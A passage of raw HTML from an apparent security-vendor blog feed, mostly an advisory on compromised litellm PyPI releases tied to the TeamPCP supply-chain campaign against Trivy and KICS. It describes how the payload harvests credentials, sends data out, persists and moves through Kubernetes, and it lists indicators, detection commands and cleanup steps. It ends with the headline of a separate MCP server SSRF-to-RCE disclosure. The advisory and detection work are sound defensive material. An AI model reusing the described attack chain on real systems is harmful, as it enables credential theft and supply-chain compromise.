srcset="https://substackcdn.com/image/fetch/$s_!U19n!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png 424w, https://substackcdn.com/image/fetch/$s_!U19n!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png 848w, https://substackcdn.com/image/fetch/$s_!U19n!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png 1272w, https://substackcdn.com/image/fetch/$s_!U19n!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!U19n!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png" width="591" height="573.5460164835165" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1413,&quot;width&quot;:1456,&quot;resizeWidth&quot;:591,&quot;bytes&quot;:266576,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/191990649?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!U19n!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png 424w, https://substackcdn.com/image/fetch/$s_!U19n!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png 848w, https://substackcdn.com/image/fetch/$s_!U19n!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png 1272w, https://substackcdn.com/image/fetch/$s_!U19n!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>This appears to be a deliberate attempt to bury legitimate technical discussion and slow down the community&#8217;s response </em></p><div><hr></div><h2><strong>PyPI&#8217;s response</strong></h2><p>PyPI admins responded quickly - within approximately <strong>3 hours</strong> of the compromised packages being published - and quarantined the entire project. The project page now displays:</p><blockquote><p><em>&#8220;This project has been quarantined. PyPI Admins need to review this project before it can be restored. While in quarantine, the project is not installable by clients, and cannot be modified by its maintainers.&#8221;</em></p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eR8Z!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eR8Z!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png 424w, https://substackcdn.com/image/fetch/$s_!eR8Z!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png 848w, https://substackcdn.com/image/fetch/$s_!eR8Z!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png 1272w, https://substackcdn.com/image/fetch/$s_!eR8Z!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eR8Z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png" width="563" height="337.9546703296703" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:874,&quot;width&quot;:1456,&quot;resizeWidth&quot;:563,&quot;bytes&quot;:316650,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/191990649?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eR8Z!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png 424w, https://substackcdn.com/image/fetch/$s_!eR8Z!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png 848w, https://substackcdn.com/image/fetch/$s_!eR8Z!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png 1272w, https://substackcdn.com/image/fetch/$s_!eR8Z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a6c801d-6aab-4e20-a2f0-6def1e238efb_2322x1394.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Three hours is a fast response, but for a package with litellm&#8217;s download volume, that window is significant. Any automated pipeline, Docker build, or developer environment that pulled a fresh install during that period could have received the compromised version.</p><p>This means <code>pip install litellm</code> currently fails for all versions, not just the compromised ones. While disruptive, this is the right call - it prevents any further exposure while the situation is investigated.</p><h2>The Broader Concern &amp; The TeamPCP connection</h2><p>This attack did not happen in a vacuum. It is very likely a direct consequence of the <strong>Trivy supply chain compromise</strong> carried out by the threat actor known as <strong>TeamPCP</strong>.</p><h3><strong>The Trivy attack: a quick recap</strong></h3><p>Starting in late February 2026, TeamPCP exploited a misconfiguration in the CI/CD environment of <a href="https://github.com/aquasecurity/trivy">Aqua Security&#8217;s Trivy</a> - one of the most widely used open source vulnerability scanners. They extracted a privileged access token and established a foothold in the project&#8217;s release automation. On March 1, the Trivy team disclosed the incident and rotated credentials, but the rotation was incomplete. The attacker retained residual access.</p><p>On March 19, TeamPCP struck. They force-pushed 76 of 77 version tags in <code>trivy-action</code> and all tags in <code>setup-trivy</code>, redirecting trusted references to malicious commits. They simultaneously triggered a malicious Trivy v0.69.4 release. The payload harvested API tokens, cloud credentials, SSH keys, Kubernetes secrets, and CI/CD secrets from every pipeline that ran the compromised action - and did so silently, before the legitimate scan logic, so workflows appeared to complete normally.</p><p>The Trivy team contained the initial attack within about three hours, but on March 22, <a href="https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/">Aqua disclosed</a> that the attacker had re-established access, describing &#8220;additional suspicious activity involving unauthorized changes and repository tampering.&#8221; As of March 24, the investigation remains active with incident response firm Sygnia.</p><p>The following day, March 23, TeamPCP <a href="https://www.wiz.io/blog/teampcp-attack-kics-github-action">compromised the KICS GitHub Action </a>- Checkmarx&#8217;s infrastructure-as-code security scanner - hijacking all 35 repository tags and injecting credential-stealing payloads using the same RSA public key. The related <code>ast-github-action</code> and two OpenVS<code> </code>extensions were also compromised.</p><p>Notably, Aqua&#8217;s latest update confirms what the litellm compromise now illustrates in practice:</p><blockquote><p><em>&#8220;The threat actor has pivoted beyond the initial CI/CD compromise and is actively weaponizing stolen credentials across the broader ecosystem. Organizations should treat this as an ongoing campaign, not a contained incident.&#8221;</em></p></blockquote><p>Aqua also warns that stolen <strong>NPM publish tokens</strong> are being used to propagate malware across the NPM ecosystem - meaning TeamPCP&#8217;s reach extends beyond Python.</p><h3><strong>The LiteLLM Connection</strong></h3><p>The fingerprints are unmistakable. Both attacks use the same playbook:</p><ul><li><p><strong>Hybrid AES-256-CBC + RSA-4096 encryption</strong> for exfiltration</p></li><li><p><strong>Credential harvesting</strong> across SSH, cloud providers, and Kubernetes</p></li><li><p><strong>Kubernetes lateral movement</strong> via privileged pod creation</p></li><li><p><strong>Persistence</strong> through disguised system services</p></li><li><p><strong>The &#8220;tpcp&#8221; marker</strong> - the litellm payload bundles stolen data into <code>tpcp.tar.gz</code>, while the Trivy attacker created exfiltration repositories named <code>tpcp-docs</code>. Both names reference TeamPCP.</p></li><li><p>LiteLLM&#8217;s CI/CD pipeline <a href="https://github.com/BerriAI/litellm/blob/9343aeefca37aa49a6ea54397d7615adae5c72c9/ci_cd/security_scans.sh#L16">runs Trivy as its security scanner</a>. </p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iwgR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iwgR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png 424w, https://substackcdn.com/image/fetch/$s_!iwgR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png 848w, https://substackcdn.com/image/fetch/$s_!iwgR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png 1272w, https://substackcdn.com/image/fetch/$s_!iwgR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iwgR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png" width="1456" height="836" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:836,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:201902,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/191990649?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iwgR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png 424w, https://substackcdn.com/image/fetch/$s_!iwgR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png 848w, https://substackcdn.com/image/fetch/$s_!iwgR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png 1272w, https://substackcdn.com/image/fetch/$s_!iwgR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F588a8fa8-3827-4351-99d5-127fb4c2a0a4_1818x1044.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>The likely attack chain:</strong> when litellm&#8217;s CI/CD ran a compromised Trivy version or action, TeamPCP harvested the pipeline&#8217;s secrets - including the PyPI publishing token. They then used that token to upload malicious litellm packages directly to PyPI, bypassing GitHub entirely.</p><p><strong>The timeline fits:</strong> <strong>Trivy</strong> compromised on March 19, attacker regains access on March 22, <strong>KICS</strong> compromised on March 23, <strong>litellm</strong> compromised packages appear on March 24.</p><p>On the same note, it is very likely that other repositories under the <a href="https://github.com/BerriAI">BerriAI GitHub organization</a> are also compromised. If the attack vector was credential theft via the Trivy compromise, any secrets present in litellm&#8217;s CI/CD environment - including publishing tokens for other packages - may be in the attacker&#8217;s hands. Any package published through the same infrastructure should be treated as suspect until verified. If you depend on other BerriAI-maintained packages, exercise caution and audit your installed versions.</p><div><hr></div><h2><strong>Am I affected?</strong></h2><p>You&#8217;re potentially affected if:</p><ul><li><p>You installed <code>litellm==1.82.7</code> or <code>litellm==1.82.8</code> from PyPI at any point</p></li><li><p>Your <code>requirements.txt</code>, <code>poetry.lock</code>, <code>uv.lock</code>, <code>Pipfile.lock</code>, or any other lock file pins either of those versions</p></li><li><p>Any CI/CD pipeline, Docker image, or cloud environment pulled one of those versions</p></li></ul><p><strong>Remember: the payload runs on Python startup, not on import. If the package was installed, the damage may already be done.</strong></p><h3><strong>Quick check</strong></h3><p>Look for the malicious <code>.pth</code> file:</p><pre><code><code>find "$(python3 -c 'import site; print(site.getsitepackages()[0])')" \
  -name "litellm_init.pth" 2&gt;/dev/null
</code></code></pre><p>Or check your installed version:</p><pre><code><code>pip show litellm 2&gt;/dev/null | grep Version
</code></code></pre><p>We&#8217;ve also published a comprehensive scanner script - <code>check_litellm_compromise.sh</code> (available in the <strong><a href="https://gist.github.com/yotampe-pluto/484842855b08b035414969ad1bb337e9">following GitHub Gist</a> </strong>)- that checks installed versions, lock files, persistence artifacts, Kubernetes pods, and active network connections. It&#8217;s entirely read-only and makes no changes to your system.</p><div><hr></div><h2><strong>What to do if you&#8217;re compromised</strong></h2><p><strong>Assume the worst.</strong> If either affected version was installed on a system, treat every credential on that system as leaked.</p><ol><li><p><strong>Uninstall immediately</strong>: <code>pip uninstall litellm</code></p></li><li><p><strong>Remove persistence artifacts</strong>:</p><ul><li><p>Delete any <code>litellm_init.pth</code> from your Python site-packages</p></li><li><p>Remove <code>~/.config/sysmon/</code> and <code>~/.config/systemd/user/sysmon.service</code></p></li><li><p>In Kubernetes, delete any <code>node-setup-*</code> pods in <code>kube-system</code></p></li></ul></li><li><p><strong>Rotate everything</strong>: SSH keys, AWS/GCP/Azure credentials, API tokens, database passwords, Docker registry tokens, CI/CD secrets - anything that was on the affected system as a file or environment variable</p></li><li><p><strong>Audit access logs</strong>: Check cloud provider audit trails (AWS CloudTrail, GCP Audit Logs, Azure Activity Log) for unauthorized access using potentially stolen credentials</p></li><li><p><strong>Reinstall a safe version</strong> once the quarantine is lifted, or pin to a known-good version.</p></li></ol><div><hr></div><h2><strong>The bigger picture</strong></h2><p>As covered above, this is part of an active campaign by TeamPCP that has already hit Trivy, litellm, and - per Aqua&#8217;s own warning - the NPM ecosystem. A security scanner was turned into the vector that compromised an AI gateway running in production across thousands of organizations. Your security tools are part of your attack surface.</p><p>If your organization depends on open source infrastructure, this is a good time to revisit some fundamentals:</p><ul><li><p><strong>Pin dependencies to exact versions and preferably even commit SHAs</strong> as mutable version tags are how the Trivy attack propagated.</p></li><li><p><strong>Use lock files</strong> and verify checksums.</p></li><li><p><strong>Minimize secrets in CI/CD environments</strong> - if a pipeline doesn&#8217;t need a PyPI token, don&#8217;t give it one.</p></li><li><p><strong>Monitor for unexpected network activity</strong> from your Python processes.</p></li><li><p><strong>Audit your credential exposure</strong> - if a secret is on disk or in an environment variable, a compromised dependency can read it.</p></li><li><p><strong>Check for </strong><code>tpcp-docs</code><strong> repositories</strong> in your GitHub organization - their presence may indicate successful exfiltration via the Trivy vector.</p></li></ul><div><hr></div><p><em>We will update this post as more details emerge&#8230;</em></p><div><hr></div><p>Thanks for reading! This post is public so feel free to share it.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share&amp;token=eyJ1c2VyX2lkIjo0MDQ0MTYxNzQsInBvc3RfaWQiOjE4NTg0NTgzMCwiaWF0IjoxNzcyMDI3MTQ0LCJleHAiOjE3NzQ2MTkxNDQsImlzcyI6InB1Yi02NjI0NjY4Iiwic3ViIjoicG9zdC1yZWFjdGlvbiJ9.ST0iPpJT_qX1LI8xtvehPRr8pycSUSsAmjsnxV0YpNs&quot;,&quot;text&quot;:&quot;Share&quot;,&quot;action&quot;:null,&quot;class&quot;:&quot;button-wrapper&quot;}" data-component-name="ButtonCreateButton"><a class="button primary button-wrapper" href="https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share&amp;token=eyJ1c2VyX2lkIjo0MDQ0MTYxNzQsInBvc3RfaWQiOjE4NTg0NTgzMCwiaWF0IjoxNzcyMDI3MTQ0LCJleHAiOjE3NzQ2MTkxNDQsImlzcyI6InB1Yi02NjI0NjY4Iiwic3ViIjoicG9zdC1yZWFjdGlvbiJ9.ST0iPpJT_qX1LI8xtvehPRr8pycSUSsAmjsnxV0YpNs"><span>Share</span></a></p><div><hr></div><blockquote><p>At <strong>Pluto</strong>, we&#8217;re enabling enterprises to use AI Builders securely.<br>Want to learn more? Let&#8217;s talk.</p></blockquote><div><hr></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://substack.com/@plutosecurity/note/p-189124612&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:&quot;button-wrapper&quot;}" data-component-name="ButtonCreateButton"><a class="button primary button-wrapper" href="https://substack.com/@plutosecurity/note/p-189124612"><span>Leave a comment</span></a></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[MCPwnfluence: Critical Unauthenticated SSRF to RCE Attack Chain in the Most Widely Used Atlassian MCP Server]]></title><description><![CDATA[We disclosed CVE-2026-27825 (CVSS 9.1) and CVE-2026-27826 (CVSS 8.2), enabling a network-reachable RCE chain in mcp-atlassian (4M+ downloads)]]></description><link>https://blog.pluto.security/p/mcpwnfluence-cve-2026-27825-critical</link><guid isPermaLink="false">https://blog.pluto.security/p/mcpwnfluence-cve-2026-27825-critical</guid><dc:creator><![CDATA[Pluto Security]]></dc:creator><pubDate>Thu, 26 Feb 2026 13:53:21 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!0U1d!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0U1d!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0U1d!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png 424w, https://substackcdn.com/image/fetch/$s_!0U1d!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png 848w, https://substackcdn.com/image/fetch/$s_!0U1d!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png 1272w, https://substackcdn.com/image/fetch/$s_!0U1d!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0U1d!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png" width="1344" height="768" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:768,&quot;width&quot;:1344,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1727749,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/189124612?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e35af7e-4f59-4cac-8de8-1cbcdbf1aa0c_1344x768.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 